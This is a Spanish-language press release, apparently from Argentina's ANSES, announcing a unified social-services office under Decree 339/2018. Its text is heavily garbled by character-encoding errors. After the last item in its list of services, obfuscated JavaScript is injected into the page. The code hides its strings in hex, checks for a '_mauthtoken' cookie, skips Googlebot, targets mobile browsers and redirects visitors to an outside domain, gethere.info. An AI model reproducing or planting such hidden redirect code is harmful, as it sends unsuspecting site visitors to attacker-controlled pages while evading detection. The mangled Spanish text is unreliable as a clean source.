Los ciudadanos podrA?n resolver todos los trA?mites sociales en un solo lugar

Con la implementaciA?n de esta nueva modalidad de atenciA?n, la ANSES centralizarA? gestiones de ministerios como Interior, Obras PA?blicas y Vivienda; Desarrollo Social; Salud; Transporte; EnergAi??a y MinerAi??a; EducaciA?n; Trabajo, Empleo y Seguridad Social, entre otros.

En el marco del Decreto 339/2018 que se publicA? hoy en el BoletAi??n Oficial, la ANSES pone en marcha la modalidad de gestiA?n unificadaAi??Ventanilla Asnica Social, un canal de recepciA?n de trA?mites presenciales y telefA?nicos con el fin de facilitar el acceso de los ciudadanos a las prestaciones y servicios sociales del Estado Nacional, en un solo lugar y sin necesidad de trasladarse de una oficina a la otra.

El objetivo general de laAi??Ventanilla Asnica SocialAi??es optimizar la experiencia del ciudadano en la gestiA?n de trA?mites relacionados con la Seguridad Social a lo largo de todo su ciclo de vida, centralizando su interacciA?n en un A?nico organismo pA?blico: la ANSES.

Con la nueva modalidad, las personas podrA?n realizar ante el organismo previsional gestiones de ministerios como Interior, Obras PA?blicas y Vivienda; Desarrollo Social; Salud; Transporte; EnergAi??a y MinerAi??a; EducaciA?n; Trabajo, Empleo y Seguridad Social, entre otros.Ai??

Al respecto, el Director Ejecutivo de la ANSES,Ai??Emilio Basavilbaso, expresA?: ai???La ANSES es la cara visible del Estado Nacional ante los ciudadanos. Posee mA?s de 400 oficinas distribuidas a lo largo y ancho de todo el territorio nacional y una lAi??nea telefA?nica que atiende gratuitamente desde cualquier telAi??fono fijo, lo que permite centralizar los trA?mites para que todos los pasos que la persona debe llevar adelante se cumplan en un solo mostrador y en un mismo momento. De esta manera, se evita la movilidad de una dependencia a la otra, ahorrando tiempo y dineroai???.

La modalidad de gestiA?n unificadaAi??Ventanilla Asnica SocialAi??amplAi??a la presencia del Estado en todo el paAi??s y, ademA?s, produce un cambio de paradigma de la ANSES, quien se posiciona como el punto de referencia natural donde realizar trA?mites sociales. AdemA?s, le permite al organismo previsional asignar mA?s beneficios sociales a su principal pA?blico objetivo: la poblaciA?n mA?s vulnerable de la sociedad, entendiendo integralmente sus necesidades de salud, transporte, servicios pA?blicos, maternidad y documentaciA?n, entre otras.Ai??

La ANSES es un organismo A?gil y moderno, cercano a la gente y que posee actualmente la red de atenciA?n mA?s completa del paAi??s. Sus empleados estA?n capacitados en diversos trA?mites de la Seguridad Social, y la tecnologAi??a de la que dispone evitarA? la fragmentaciA?n de gestiones y la duplicaciA?n de pedidos de informaciA?n desde las distintas entidades pA?blicas.Ai??

En este sentido,Ai??BasavilbasoAi??manifestA?: ai???Desde que asumimos la conducciA?n de la ANSES, estamos proyectando y pensando mejoras tanto hacia afuera como hacia adentro: hacia afuera, teniendo como eje al ciudadano y su experiencia como beneficiario, simplificando y unificando la interacciA?n con nuestro organismo y otros entes del Estado Nacional; hacia adentro, teniendo como eje al trabajador y su experiencia laboral y personal, para que cada dAi??a se desempeAi??e de forma ordenada, prA?ctica y efectivaai???.

En este marco, uno de los prA?ximos desafAi??os es que el 95% de los ciudadanos argentinos estAi??n a menos de 30 minutos de una oficina donde puedan resolver todos sus trA?mites, en un mismo organismo pA?blico, que implicarA? para la ANSES incorporar cerca de 15 millones de transacciones, es decir, el 95% de los trA?mites sociales. Para cumplir con ese objetivo, la ANSES cuenta con una gran capilaridad y eficacia:

ai???Ai??MA?s de 400 delegaciones en todo el paAi??s.

ai???Ai??Alrededor de 2000 puntos de atenciA?n itinerantes.

ai???Ai??2.050.000 personas atendidas por mes de manera presencial.

ai???Ai??15 minutos de espera promedio en las delegaciones.

ai???Ai??MA?ltiples canales de atenciA?n: personalizada, nA?mero telefA?nico 130, sitio web, redes sociales, Terminales de Autoconsulta ElectrA?nica (TAEs).Ai??

Asimismo, esta modalidad supone un aumento del 60% en los dAi??as totales de cobertura anual de toda la red de atenciA?n que ofrece el organismo.

Ai??

Algunos de los trA?mites que ya se estA?n implementando o se implementarA?n en un futuro prA?ximo son los siguientes:

ai???Ai??TARIFA SOCIAL FEDERAL

–Transporte: a partir de la publicaciA?n del decreto, se llevarA? a cabo una prueba piloto en una oficina de la ANSES y luego se replicarA? en todo el paAi??s, en las provincias que utilicen la tarjeta SUBE.

–EnergAi??a: se incorporarA? la tarifa social de los servicios de agua, luz y gas.Ai??

ai???Ai??MONOTRIBUTO SOCIAL: a partir de la publicaciA?n del decreto, se llevarA? a cabo una prueba piloto en una oficina de la ANSES que luego se replicarA? en todo el paAi??s.Ai??

ai???Ai??RENAPER: se atenderA?n trA?mites como la generaciA?n del DNI y del Pasaporte.

ai???Ai??PAMI: se realizarA?n afiliaciones a la Obra Social.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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